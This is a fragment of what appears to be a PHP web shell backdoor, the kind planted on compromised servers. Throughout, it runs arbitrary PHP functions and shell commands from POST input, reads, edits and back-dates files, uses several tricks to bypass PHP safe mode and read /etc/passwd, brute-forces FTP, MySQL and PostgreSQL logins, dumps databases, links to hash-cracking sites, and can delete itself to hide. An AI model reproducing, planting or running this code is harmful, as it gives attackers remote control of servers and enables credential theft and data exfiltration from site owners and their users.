    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} 
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}} 
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} 
     
    if(isset($_POST['ajax'])) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; 
        ob_start(); 
        if(function_exists($_POST['p1'])) 
            echo $_POST['p1']($_POST['p2']); 
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
"; 
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    printHeader(); 
    echo '<h1>String conversions</h1><div class=content>'; 
    $stringTools = array( 
        'Base64 encode' => 'base64_encode', 
        'Base64 decode' => 'base64_decode', 
        'Url encode' => 'urlencode', 
        'Url decode' => 'urldecode', 
        'Full urlencode' => 'full_urlencode', 
        'md5 hash' => 'md5', 
        'sha1 hash' => 'sha1', 
        'crypt' => 'crypt', 
        'CRC32' => 'crc32', 
        'ASCII to HEX' => 'ascii2hex', 
        'HEX to ASCII' => 'hex2ascii', 
        'HEX to DEC' => 'hexdec', 
        'HEX to BIN' => 'hex2bin', 
        'DEC to HEX' => 'dechex', 
        'DEC to BIN' => 'decbin', 
        'BIN to HEX' => 'bin2hex', 
        'BIN to DEC' => 'bindec',         
        'String to lower case' => 'strtolower', 
        'String to upper case' => 'strtoupper', 
        'Htmlspecialchars' => 'htmlspecialchars', 
        'String length' => 'strlen', 
    ); 
    if(empty($_POST['ajax'])&&!empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; 
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; 
    foreach($stringTools as $k => $v) 
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; 
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; 
    if(!empty($_POST['p1'])) { 
        if(function_exists($_POST['p1'])) 
        echo htmlspecialchars($_POST['p1']($_POST['p2'])); 
    } 
    echo"</pre></div>"; 
    ?> 
    <br><h1>Search for hash:</h1><div class=content> 
        <form method='post' target='_blank' name="hf"> 
            <input type="text" name="hash" style="width:200px;"><br> 
            <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br> 
            <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br> 
            <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br> 
            <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br> 
            <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br> 
        </form> 
    </div> 
    <?php 
    printFooter(); 
} 

function actionFilesTools() { 
    if( isset($_POST['p1']) ) 
        $_POST['p1'] = urldecode($_POST['p1']); 
    if(@$_POST['p2']=='download') { 
        if(is_file($_POST['p1']) && is_readable($_POST['p1'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); 
            if (function_exists("mime_content_type")) { 
                $type = @mime_content_type($_POST['p1']); 
                header("Content-Type: ".$type); 
            } 
            $fp = @fopen($_POST['p1'], "r"); 
            if($fp) { 
                while(!@feof($fp)) 
                    echo @fread($fp, 1024); 
                fclose($fp); 
            } 
        } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) { 

        } 
        exit; 
    } 
    if( @$_POST['p2'] == 'mkfile' ) { 
        if(!file_exists($_POST['p1'])) { 
            $fp = @fopen($_POST['p1'], 'w'); 
            if($fp) { 
                $_POST['p2'] = "edit"; 
                fclose($fp); 
            } 
        } 
    } 
    printHeader(); 
    echo '<h1>File tools</h1><div class=content>'; 
    if( !file_exists(@$_POST['p1']) ) { 
        echo 'File not exists'; 
        printFooter(); 
        return; 
    } 
    $uid = @posix_getpwuid(@fileowner($_POST['p1'])); 
    $gid = @posix_getgrgid(@fileowner($_POST['p1'])); 
    echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; 
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; 
    if( empty($_POST['p2']) ) 
        $_POST['p2'] = 'view'; 
    if( is_file($_POST['p1']) ) 
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); 
    else 
        $m = array('Chmod', 'Rename', 'Touch'); 
    foreach($m as $v) 
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; 
    echo '<br><br>'; 
    switch($_POST['p2']) { 
        case 'view': 
            echo '<pre class=ml1>'; 
            $fp = @fopen($_POST['p1'], 'r'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo '</pre>'; 
            break; 
        case 'highlight': 
            if( is_readable($_POST['p1']) ) { 
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; 
                $code = highlight_file($_POST['p1'],true); 
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; 
            } 
            break; 
        case 'chmod': 
            if( !empty($_POST['p3']) ) { 
                $perms = 0; 
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i) 
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); 
                if(!@chmod($_POST['p1'], $perms)) 
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; 
                else 
                    die('<script>g(null,null,null,null,"")</script>'); 
            } 
            echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; 
            break; 
        case 'edit': 
            if( !is_writable($_POST['p1'])) { 
                echo 'File isn\'t writeable'; 
                break; 
            } 
            if( !empty($_POST['p3']) ) { 
                @file_put_contents($_POST['p1'],$_POST['p3']); 
                echo 'Saved!<br><script>document.mf.p3.value="";</script>'; 
            } 
            echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>'; 
            $fp = @fopen($_POST['p1'], 'r'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo '</textarea><input type=submit value=">>"></form>'; 
            break; 
        case 'hexdump': 
            $c = @file_get_contents($_POST['p1']); 
            $n = 0; 
            $h = array('00000000<br>','',''); 
            $len = strlen($c); 
            for ($i=0; $i<$len; ++$i) { 
                $h[1] .= sprintf('%02X',ord($c[$i])).' '; 
                switch ( ord($c[$i]) ) { 
                    case 0:  $h[2] .= ' '; break; 
                    case 9:  $h[2] .= ' '; break; 
                    case 10: $h[2] .= ' '; break; 
                    case 13: $h[2] .= ' '; break; 
                    default: $h[2] .= $c[$i]; break; 
                } 
                $n++; 
                if ($n == 32) { 
                    $n = 0; 
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} 
                    $h[1] .= '<br>'; 
                    $h[2] .= "
"; 
                } 
             } 
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; 
            break; 
        case 'rename': 
            if( !empty($_POST['p3']) ) { 
                if(!@rename($_POST['p1'], $_POST['p3'])) 
                    echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>'; 
                else 
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); 
            } 
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; 
            break; 
        case 'touch': 
            if( !empty($_POST['p3']) ) { 
                $time = strtotime($_POST['p3']); 
                if($time) { 
                    if(@touch($_POST['p1'],$time,$time)) 
                        die('<script>g(null,null,null,null,"")</script>'); 
                    else { 
                        echo 'Fail!<script>document.mf.p3.value="";</script>'; 
                    } 
                } else echo 'Bad time format!<script>document.mf.p3.value="";</script>'; 
            } 
            echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; 
            break; 
        case 'mkfile': 
             
            break; 
    } 
    echo '</div>'; 
    printFooter(); 
} 

function actionSafeMode() { 
    $temp=''; 
    ob_start(); 
    switch($_POST['p1']) { 
        case 1: 
            $temp=@tempnam($test, 'cx'); 
            if(@copy("compress.zlib://".$_POST['p2'], $temp)){ 
                echo @file_get_contents($temp); 
                unlink($temp); 
            } else 
                echo 'Sorry... Can\'t open file'; 
            break; 
        case 2: 
            $files = glob($_POST['p2'].'*'); 
            if( is_array($files) ) 
                foreach ($files as $filename) 
                    echo $filename."
"; 
            break; 
        case 3: 
            $ch = curl_init("file://".$_POST['p2']."".SELF_PATH); 
            curl_exec($ch); 
            break; 
        case 4: 
            ini_restore("safe_mode"); 
            ini_restore("open_basedir"); 
            include($_POST['p2']); 
            break; 
        case 5: 
            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { 
                $uid = @posix_getpwuid($_POST['p2']); 
                if ($uid) 
                    echo join(':',$uid)."
"; 
            } 
            break; 
        case 6: 
            if(!function_exists('imap_open'))break; 
            $stream = imap_open($_POST['p2'], "", ""); 
            if ($stream == FALSE) 
                break; 
            echo imap_body($stream, 1); 
            imap_close($stream); 
            break; 
    } 
    $temp = ob_get_clean(); 
    printHeader(); 
    echo '<h1>Safe mode bypass</h1><div class=content>'; 
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>'; 
    if($temp) 
        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>'; 
    echo '</div>'; 
    printFooter(); 
} 

function actionConsole() { 
    if(isset($_POST['ajax'])) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; 
        ob_start(); 
        echo "document.cf.cmd.value='';
"; 
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'")); 
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    { 
            if(@chdir($match[1])) { 
                $GLOBALS['cwd'] = @getcwd(); 
                echo "document.mf.c.value='".$GLOBALS['cwd']."';"; 
            } 
        } 
        echo "document.cf.output.value+='".$temp."';"; 
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; 
        $temp = ob_get_clean(); 
        echo strlen($temp), "
", $temp; 
        exit; 
    } 
    printHeader(); 
?> 
<script> 
if(window.Event) window.captureEvents(Event.KEYDOWN); 
var cmds = new Array(""); 
var cur = 0; 
function kp(e) { 
    var n = (window.Event) ? e.which : e.keyCode; 
    if(n == 38) { 
        cur--; 
        if(cur>=0) 
            document.cf.cmd.value = cmds[cur]; 
        else 
            cur++; 
    } else if(n == 40) { 
        cur++; 
        if(cur < cmds.length) 
            document.cf.cmd.value = cmds[cur]; 
        else 
            cur--; 
    } 
} 
function add(cmd) { 
    cmds.pop(); 
    cmds.push(cmd); 
    cmds.push(""); 
    cur = cmds.length-1; 
} 
</script> 
<?php 
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>'; 
    foreach($GLOBALS['aliases'] as $n => $v) { 
        if($v == '') { 
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; 
            continue; 
        } 
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; 
    } 
    if(empty($_POST['ajax'])&&!empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; 
    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; 
    if(!empty($_POST['p1'])) { 
        echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1'])); 
    } 
    echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">'; 
    echo '</form></div><script>document.cf.cmd.focus();</script>'; 
    printFooter(); 
} 

function actionLogout() { 
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 
    echo 'bye!'; 
} 

function actionSelfRemove() { 
    printHeader(); 
    if($_POST['p1'] == 'yes') { 
        if(@unlink(SELF_PATH)) 
            die('Shell has been removed'); 
        else 
            echo 'unlink error!'; 
    } 
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; 
    printFooter(); 
} 

function actionBruteforce() { 
    printHeader(); 
    if( isset($_POST['proto']) ) { 
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; 
        if( $_POST['proto'] == 'ftp' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $fp = @ftp_connect($ip, $port?$port:21); 
                if(!$fp) return false; 
                $res = @ftp_login($fp, $login, $pass); 
                @ftp_close($fp); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'mysql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); 
                @mysql_close($res); 
                return $res; 
            } 
        } elseif( $_POST['proto'] == 'pgsql' ) { 
            function bruteForce($ip,$port,$login,$pass) { 
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''"; 
                $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass); 
                @pg_close($res); 
                return $res; 
            } 
        } 
        $success = 0; 
        $attempts = 0; 
        $server = explode(":", $_POST['server']); 
        if($_POST['type'] == 1) { 
            $temp = @file('/etc/passwd'); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = explode(":", $line); 
                    ++$attempts; 
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; 
                    } 
                    if(@$_POST['reverse']) { 
                        $tmp = ""; 
                        for($i=strlen($line[0])-1; $i>=0; --$i) 
                            $tmp .= $line[0][$i]; 
                        ++$attempts; 
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { 
                            $success++; 
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); 
                        } 
                    } 
                } 
        } elseif($_POST['type'] == 2) { 
            $temp = @file($_POST['dict']); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = trim($line); 
                    ++$attempts; 
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; 
                    } 
                } 
        } 
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; 
    } 
    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' 
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' 
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' 
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' 
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' 
        .'<span>Server:port</span></td>' 
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>' 
        .'<tr><td><span>Brute type</span></td>' 
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' 
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' 
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' 
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' 
        .'<td><input type=text name=login value="komsen"></td></tr>' 
        .'<tr><td><span>Dictionary</span></td>' 
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' 
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; 
    echo '</div><br>'; 
    printFooter(); 
} 

function actionSql() { 
    class DbClass { 
        var $type; 
        var $link; 
        var $res; 
        function DbClass($type)    { 
            $this->type = $type; 
        } 
        function connect($host, $user, $pass, $dbname){ 
            switch($this->type)    { 
                case 'mysql': 
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; 
                    break; 
                case 'pgsql': 
                    $host = explode(':', $host); 
                    if(!$host[1]) $host[1]=5432; 
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; 
                    break; 
            } 
            return false; 
        } 
        function selectdb($db) { 
            switch($this->type)    { 
                case 'mysql': 
                    if (@mysql_select_db($db))return true; 
                    break; 
            } 
            return false; 
        } 
        function query($str) { 
            switch($this->type) { 
                case 'mysql': 
                    return $this->res = @mysql_query($str); 
                    break; 
                case 'pgsql': 
                    return $this->res = @pg_query($this->link,$str); 
                    break; 
            } 
            return false; 
        } 
        function fetch() { 
            $res = func_num_args()?func_get_arg(0):$this->res; 
            switch($this->type)    { 
                case 'mysql': 
                    return @mysql_fetch_assoc($res); 
                    break; 
                case 'pgsql': 
                    return @pg_fetch_assoc($res); 
                    break; 
            } 
            return false; 
        } 
        function listDbs() { 
            switch($this->type)    { 
                case 'mysql': 
                    return $this->res = @mysql_list_dbs($this->link); 
                break; 
                case 'pgsql': 
                    return $this->res = $this->query("SELECT datname FROM pg_database"); 
                break; 
            } 
            return false; 
        } 
        function listTables() { 
            switch($this->type)    { 
                case 'mysql': 
                    return $this->res = $this->query('SHOW TABLES'); 
                break; 
                case 'pgsql': 
                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'"); 
                break; 
            } 
            return false; 
        } 
        function error() { 
            switch($this->type)    { 
                case 'mysql': 
                    return @mysql_error($this->link); 
                break; 
                case 'pgsql': 
                    return @pg_last_error($this->link); 
                break; 
            } 
            return false; 
        } 
        function setCharset($str) { 
            switch($this->type)    { 
                case 'mysql': 
                    if(function_exists('mysql_set_charset')) 
                        return @mysql_set_charset($str, $this->link); 
                    else 
                        $this->query('SET CHARSET '.$str); 
                    break; 
                case 'mysql': 
                    return @pg_set_client_encoding($this->link, $str); 
                    break; 
            } 
            return false; 
        } 
        function dump($table) { 
            switch($this->type)    { 
                case 'mysql': 
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); 
                    $create = mysql_fetch_array($res); 
                    echo $create[1].";

"; 
                    $this->query('SELECT * FROM `'.$table.'`'); 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            $item[$k] = "'".@mysql_real_escape_string($v)."'"; 
                            $columns[] = "`".$k."`"; 
                        } 
                    echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
"; 
                    } 
                break; 
                case 'pgsql': 
                    $this->query('SELECT * FROM '.$table); 
                    while($item = $this->fetch()) { 
                        $columns = array(); 
                        foreach($item as $k=>$v) { 
                            $item[$k] = "'".addslashes($v)."'"; 
                            $columns[] = $k; 
                        } 
                    echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
"; 
                    } 
                break; 
            } 
            return false; 
        } 
    }; 
    $db = new DbClass($_POST['type']); 
    if(@$_POST['p2']=='download') { 
        ob_start("ob_gzhandler", 4096); 
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); 
        $db->selectdb($_POST['sql_base']); 
        header("Content-Disposition: attachment; filename=dump.sql"); 
        header("Content-Type: text/plain"); 
        foreach($_POST['tbl'] as $v) 
                $db->dump($v); 
        exit; 
    } 
    printHeader(); 
    ?> 
    <h1>Sql browser</h1><div class=content> 
    <form name="sf" method="post"> 
        <table cellpadding="2" cellspacing="0"> 
            <tr> 
                <td>Type</td> 
                <td>Host</td> 
                <td>Login</td> 
                <td>Password</td> 
                <td>Database</td> 
                <td></td> 
            </tr> 
            <tr> 
                <input type=hidden name=a value=Sql> 
                <input type=hidden name=p1 value='query'> 
                <input type=hidden name=p2> 
                <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'> 
                <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
                <td> 
                    <select name='type'> 
                        <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option> 
                        <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option> 
                    </select></td> 
                <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td> 
                <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td> 
                <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td> 
                <td> 
    <?php 
    $tmp = "<input type=text name=sql_base value=''>"; 
    if(isset($_POST['sql_host'])){ 
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { 
            switch($_POST['charset']) { 
                case "Windows-1251": $db->setCharset('cp1251'); break; 
                case "UTF-8": $db->setCharset('utf8'); break; 
                case "KOI8-R": $db->setCharset('koi8r'); break; 
                case "KOI8-U": $db->setCharset('koi8u'); break; 
                case "cp866": $db->setCharset('cp866'); break; 
            } 
            $db->listDbs(); 
            echo "<select name=sql_base><option value=''></option>"; 
            while($item = $db->fetch()) { 
                list($key, $value) = each($item); 
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; 
            } 
            echo '</select>'; 
        } 
        else echo $tmp; 
    }else 
        echo $tmp; 
    ?></td> 
                <td><input type=submit value=">>"></td> 
            </tr> 
        </table> 
        <script> 
            function st(t,l) { 
                document.sf.p1.value = 'select'; 
                document.sf.p2.value = t; 
                if(l!=null)document.sf.p3.value = l; 
                document.sf.submit(); 
            } 
            function is() { 
                for(i=0;i<document.sf.elements['tbl[]'].length;++i) 
                    document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked; 
            } 
        </script> 
    <?php 
    if(isset($db) && $db->link){ 
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; 
            if(!empty($_POST['sql_base'])){ 
                $db->selectdb($_POST['sql_base']); 
                echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>"; 
                $tbls_res = $db->listTables(); 
                while($item = $db->fetch($tbls_res)) { 
                    list($key, $value) = each($item); 
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); 
                    $value = htmlspecialchars($value); 
                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
                } 
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>"; 
                if(@$_POST['p1'] == 'select') { 
                    $_POST['p1'] = 'query'; 
                    $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].''); 
                    $num = $db->fetch(); 
                    $num = $num['n']; 
                    echo "<span>".$_POST['p2']."</span> ($num) "; 
                    for($i=0;$i<($num/30);$i++) 
                        if($i != (int)$_POST['p3']) 
                            echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> "; 
                        else 
                            echo ($i+1)," "; 
                    if($_POST['type']=='pgsql') 
                        $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); 
                    else 
                        $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; 
                    echo "<br><br>"; 
                } 
                if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) { 
                    $db->query(@$_POST['p3']); 
                    if($db->res !== false) { 
                        $title = false; 
                        echo '<table width=100% cellspacing=0 cellpadding=2 class=main>'; 
                        $line = 1; 
                        while($item = $db->fetch())    { 
                            if(!$title)    { 
                                echo '<tr>'; 
                                foreach($item as $key => $value) 
                                    echo '<th>'.$key.'</th>'; 
                                reset($item); 
                                $title=true; 
                                echo '</tr><tr>'; 
                                $line = 2; 
                            } 
                            echo '<tr class="l'.$line.'">'; 
                            $line = $line==1?2:1; 
                            foreach($item as $key => $value) { 
                                if($value == null) 
                                    echo '<td><i>null</i></td>'; 
                                else 
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; 
                            } 
                            echo '</tr>'; 
                        } 
                        echo '</table>'; 
                    } else { 
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; 
                    } 
                } 
                echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>"; 
                echo "</td></tr>"; 
            } 
            echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; 
            if(@$_POST['p1'] == 'loadfile') { 
                $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file"); 
                $file = $db->fetch(); 
                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
            } 
    } 
    echo '</div>'; 
    printFooter(); 
} 
function actionNetwork() { 
    printHeader(); 
